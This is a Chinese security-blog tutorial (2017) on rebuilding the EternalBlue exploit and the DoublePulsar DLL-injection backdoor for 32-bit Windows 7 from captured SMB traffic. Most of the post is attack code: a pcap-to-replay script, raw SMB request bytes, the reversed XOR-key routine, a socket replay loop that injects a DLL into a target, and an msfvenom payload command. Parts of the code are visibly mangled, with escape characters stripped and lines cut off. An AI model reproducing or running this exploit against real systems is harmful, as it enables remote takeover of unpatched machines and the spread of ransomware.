首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
【技术分享】EternalBlue之32位exploit编写(一)
阅读量 74735 | 稿费 400
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-06-22 13:58:36
http://p2.qhimg.com/t010c5b8ba2dec4b95c.png
作者:東
预估稿费:400RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
距离shadowbrokers团队放出NSA的这批黑客工具也有两月之久了,其中的一个名叫"永恒之蓝"的漏洞模块被疯狂地在野外利用,相信网友们如果没有经历过WannaCry 勒索软件的淫威,重视度可能也远不如之前刚放出来时,任何人都可以用着fuzzbunch这个工具集成模块去攻击别人,fb.py这个集合了他子目录下的一些exploit被热心网友们玩的不亦乐乎的同时,地下的自由职业者也忙的不可开交各类变种勒索软件不断涌现,当然今天主角也不是勒索软件,今天我们着重从协议上分析一下eternalblue的攻击的数据流,然后试着重放这些数据。
实验环境
网络环境:局域网
攻击ip:192.168.157.129(win7_x86)
靶机ip:192.168.157.131(win7_x86)
工具:NSA的fb.py、wireshark、python、hex editor、
实验步骤
第一步:使用fb.py中的eternalblue模块走一遍正常攻击流程 开wireshark把攻击过程的数据截获
http://p4.qhimg.com/t01e5a96c7d7531f420.png
接着我们就轻车熟路的打开了shadowbrokers的fb.py 去攻击192.168.157.129 攻击过程我就不阐述了 网上很多参考 攻击完毕回头就看下wireshark捕捉到的SMB数据包
http://p4.qhimg.com/t0109ea7d857041797c.png
这里用到的Eternalblue模块这个模块 在这个模块执行之前是没有数据的,执行之后wireshark捕捉到了数据
http://p5.qhimg.com/t0181af598823381ef5.png
这个说白了就是个利用Eternalblue利用漏洞安装后门的一个过程,接着重新捕获数据 我们使用Doublepulsar这个模块,这模块功能定义上类似于meterprete而前面的则属于exploit模块吧
http://p8.qhimg.com/t01377304d0eccc461d.png
msfvenom -p windows/exec CMD="calc.exe" -f dll > /test.dll这样生成就可以,上面我用Doublepuls注入的dll是用msf生的 注入的进程我选择了资源管理器的
这次的数据包明显比上一个少了很多。接着我们着重分析这两个流内的数据。
第二步:分析fb.py动作产生的数据流
我们先来看一下SMB协议的定义
// 8 unsigned bits
typedef unsigned short USHORT; // 16 unsigned bits
typedef unsigned long ULONG; // 32 unsigned bits
typedef struct {
ULONG LowPart;
LONG HighPart;
} LARGE_INTEGER; // 64 bits of data
typedef struct {
UCHAR Protocol[4]; // Contains 0xFF,'SMB'
UCHAR Command; // Command code
union {
struct {
UCHAR ErrorClass; // Error class
UCHAR Reserved; // Reserved for future use
USHORT Error; // Error code
} DosError;
ULONG Status; // 32-bit error code
} Status;
UCHAR Flags; // Flags
USHORT Flags2; // More flags
union {
USHORT Pad[6]; // Ensure section is 12 by
struct {
USHORT PidHigh; // High Part of PID
UCHAR SecuritySignature[8]; // reserved for MAC
} Extra;
};
USHORT Tid; // Tree identifier
USHORT Pid; // Caller’s process ID, opaque for
client use
USHORT Uid; // User id
USHORT Mid; // multiplex id
UCHAR WordCount; // Count of parameter words
} SMB_HEADER;
接着再看下eternalblue数据包中的数据流 这么多的会话 我用脚本把他们生成了可替换的数据字节并保存起来
http://p6.qhimg.com/t014087c31e3e9941a3.png
win7后门安装的数据流已经有人在github上公开了,方法大同小异吧 follow stream 其实要紧的是能把这步自动化才是极好的 二十多个流自己去follow眼睛恐怕要累瞎,写了个不太完善的脚本
import binascii
import struct
pcap_file = "smb3.pcap"
output_file = "BackdoorInstall.replay"
def wf(filename,data):
fp=open(filename,"wb")
fp.write(data)
fp.close()
def rf(filename):
fp=open(filename,"rb")
data=fp.read()
fp.close()
return data
# 分析数据包
def anlyse(all_data):
data_len = len(all_data)
ncount = 0
now_index = 40 #pcap 24,间隔 16,protoheader 54, tcp+ipheader 20+20
array = []
while now_index < data_len:
one_len = struct.unpack(">H",all_data[now_index+16:now_index+18])[0] -40
if(all_data[now_index+34:now_index+36] != "x01xbd"):#不是445表示发送端
data_temp = ""
array_temp = all_data[now_index+54:now_index +54+one_len]
for i in range(one_len):
data_temp = data_temp + "\x" + binascii.b2a_hex(array_temp[i])
array.append("('send',1,b'" + data_temp + "',0.01)rnrn")
else:
array.append("('recv', 1, 0.01)rnrn")
now_index = now_index + one_len + 16 + 54
ncount += 1
print ncount,":",one_len
return array,ncount
if __name__ == "__main__":
array , ncount = anlyse(rf(pcap_file))
data_replay = "('connect', 1, 0.01)rnrn"
data_replay2 = data_replay
j = 1
for i in range(ncount):
data_replay += array[i]
if(array[i].find("send") != -1):#如果是send
data_replay2 = data_replay2 + "#" + str(j) + array[i]
j += 1
else:
data_replay2 += array[i]
data_replay += "('close', 1, 0.01)"
data_replay2 += "('close', 1, 0.01)"
wf(output_file,data_replay)
wf(output_file+".listrec",data_replay2)#这个是记录send顺序的文件
print "over!"
第三步:分析Doublepulsar注入动作产生的数据流并提取
接下来分析Doublepulsar的apc注入部分 可以看到七个SMB的request,接着就去搞清其中字段的含义,在我们不知道他每个字段都是什么意思的前提下我们就不用去改他,不是说一点不改,最起码的SMB head length这些基本数据包的知识我们知道了就可以去修改,怎么检测自己的手动发的数据包是否和NSA工具发的包一样呢?一共是7个包对应七个请求,用python发包,然后recv回来的数据和我们用wireshark抓到工具复现的包相同就说明自己包没问题然后接着去发下一条请求再去判断。
#smb 头是32字节 请求包50字节 以下一行30字节 smb版本
First_Request = "x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x00x62x00x02x50x43x20x4Ex45x54x57x4Fx52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6Fx77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54x20x4Cx4Dx20x30x2Ex31x32x00"
#windows系统版本Second_Request ="x00x00x00x88xFFx53x4Dx42x73x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x00x40x00x0DxFFx00x88x00x04x11x0Ax00x00x00x00x00x00x00x01x00x00x00x00x00x00x00xD4x00x00x00x4Bx00x00x00x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00x2Ex00x30x00x00x00"
第三个请求有点问题就是目标ipc主机的ip 因为ip的Length不是固定的所以这里采用chr(len(str_ip))方式来写进NetBIOS
http://p8.qhimg.com/t01c3e9013854106c8b.png
还有一点就是我们如何自定义ip 这里是UNICODE编码注意下 所以写了一个转Unicode的方法
def make_unicode_host(org_host):host_len = len(org_host)new_host = ""for i in range(host_len):new_host =new_host + "x00" + org_host[i]return new_host
Third_Request ="x00x00x00"+chr(len(str_ip))+"xFFx53x4Dx42x75x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFEx00x08x40x00x04xFFx00x60x00x08x00x01x00x35x00x00x5Cx00x5C"+ make_unicode_host(HOST)+"x00x5Cx00x49x00x50x00x43x00x24x00x00x00x3Fx3Fx3Fx3Fx3Fx00"
Fourth_Request ="x00x00x00x4ExFFx53x4Dx42x32x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x41x00x0Fx0Cx00x00x00x01x00x00x00x00x00x00x00x40x69x7Ax00x00x00x0Cx00x42x00x00x00x4Ex00x01x00x0Ex00x0Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00"
看第五个请求.内容很多看下面的大小是4096个字节猜测smb最多一次就发送4096个字节,下一个请求包和这个请求应该是有联系的。这时候猜测可能就是后门一些操作了 而且这些字符显然是加密的
http://p0.qhimg.com/t014536ce8c6247611a.png
看第六个请求:1800个字节,猜测应该是一个文件传输的结束.文件未出现了出现了“85 79 52 a6 85 79 5a 81”这串字符串我们注入的是dll而熟悉PE文件的人应该知道dll的MZ头是
4D5A,而dll文件是以00 00 00 00 00…结尾。数据包里面没有4D5A这个hex值,推测是把shellcode和dll的hex一块加密大小为 4096+1800
http://p9.qhimg.com/t0103dc415808950921.png
看第六个包设想数据包的加密方式如果是异或那么只要秘钥为7985a15a(小端存储)才能将数据包中的dll尾部数据还原为00 00 00
http://p5.qhimg.com/t01be76ca63ef07c23e.png
第四步:多次对比数据包定位用户随机秘钥
有了秘钥那我们用秘钥把前面的shellcode也解密然后再加上我们自己dll再用秘钥加密发送不就可以了么。事实证明也不是这样的密钥是随机生成的
上面提到如果7985a15a是秘钥的话才能将dll尾部数据还原为0 可事实是,每次用NSA工具重现的时候生成的秘钥都是不一样的,而且我也发现个有意思的地方
当秘钥是7985a15a时工具中给你显示出了这样一段数据
http://p5.qhimg.com/t011cd302dd5b839f84.png
这正是我们要找的秘钥。它在工具里面显示了,这时候要知道 fb.py这只是个框架,功能都是由他去调用分目录下的脚本,比如说eternalblue 比如说Doublepulsar,也是fb.py的一个框架
但Doublepulsar不是脚本,它是一个exe,我们就去逆向一下这个exe看看秘钥是怎么计算的
http://p3.qhimg.com/t01bb972d4cff005d83.png
直接搜索XOR_Key然后ctrlX来到引用处F5
http://p5.qhimg.com/t015f2cf63280ad9e39.png
回溯v21 经过多次复现对比秘钥发现了在第四次的返回包中signature字段发生了变化 其余请求的返回包中的signature字段都为00000000
http://p7.qhimg.com/t01e815bd6b6aed2cce.png
读到返回包用py切片return smb_data[18:22]把Signature前四个字节取出 然后转为小端存储 struct.unpack("> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff
得到的x就是工具中显示的XOR_Key :xxxxxx 我们还要把他转换成数据包里的秘钥小端变大端 key=struct.pack(" 0:
time.sleep(delta)
start = time.time()
if i[0] == "connect":
sock = socket.socket()
sock.connect((HOST , PORT ))
connections.append({"socket":sock,"stream" : i[1]})
if i[0] == "close":
[j['socket'].close() for j in connections if j["stream"] == i[1]]
if i[0] == "send":
[j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]]
if i[0] == "recv":
[j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]
def calculate_doublepulsar_xor_key(s):
"""Calaculate Doublepulsar Xor Key
"""
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff # this line was added just to truncate to 32 bits
return x
def make_unicode_host(org_host):
host_len = len(org_host)
new_host = ""
for i in range(host_len):
new_host =new_host + "x00" + org_host[i]
return new_host
def get_smb_signature(smb_data):
return smb_data[18:22]
def get_key(smb_data):
smb_sign = struct.unpack(" 0:
ncount += 1
make_data =""
for i in range(ncount):
if i < ncount-1:
smb_Length = struct.pack(">H",4096 +32 +34 + 12)
#print binascii.b2a_hex(smb_Length)
totalDataCount = struct.pack("
totalDataCount = struct.pack("
#end1
step_7_data ="x00x00x00x23xFFx53x4Dx42x71x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x00x00x00"
s.sendall(step_7_data)
data = s.recv(1024)
print 7,data
#end2
step_8_data ="x00x00x00x27xFFx53x4Dx42x74x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x02xFFx00x27x00x00x00"
s.sendall(step_8_data)
data = s.recv(1024)
print 8,data
print "------Inject dll done!------"
s.close()
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/86309
安全客 - 有思想的安全新媒体
安全知识
東 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46
Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15
RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46
Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
土司观光团
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
東
安全攻防,漏洞挖掘
文章
2
粉丝
0
TA的文章
【技术分享】EternalBlue之win7 64位exploit编写(二)
2017-08-04 14:48:13
【技术分享】EternalBlue之32位exploit编写(一)
2017-06-22 13:58:36
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading...0daybank
文章评论